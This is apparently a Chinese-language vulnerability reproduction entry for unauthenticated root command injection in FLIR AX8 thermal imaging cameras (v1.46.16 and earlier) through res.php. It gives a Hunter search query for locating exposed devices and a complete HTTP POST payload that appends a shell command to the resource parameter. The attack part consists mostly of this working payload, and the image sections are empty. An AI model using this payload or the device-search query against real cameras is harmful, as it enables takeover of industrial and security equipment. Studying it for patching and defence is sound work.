F11-1FLIR-AX8热成像仪-RCE

漏洞描述：

FLIR-AX8是美国菲力尔公司（Teledyne FLIR）旗下的一款工业红外热像仪AX8，英文名为Teledyne FLIR AX8 thermal sensor cameras。菲力尔公司专注于设计、开发、生产、营销和推广用于增强态势感知力的专业技术，通过热成像、可见光成像、视频分析、测量和诊断以及先进的威胁检测系统，将创新的传感解决方案带入日常生活中，广泛服务于政府与国防、工业和商业市场。FLIR AX8 版本 1.46.16 及以下未经身份验证的远程操作系统命令注入漏洞。res.php 页面中的 id 参数可以通过命令拼接，以 root 用户身份注入和执行任意 shell 命令，成功的利用可能允许攻击者以 root 权限在底层操作系统上执行任意命令。

网站图片：

网络测绘：

Hunter 语法：

- hunterweb.icon=="f4370ff0b4763e18159cd7cdf36a4542"

漏洞复现：

payload：

```
POST /res.php HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: theme=light; distanceUnit=metric; temperatureUnit=celsius; showCameraId=false; clientTimeZoneOffset=-480; clientTimeZoneDST=0; PHPSESSID=8ff0e4065c8a04d1894ddde4
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

action=node&resource=1;id
```

效果图: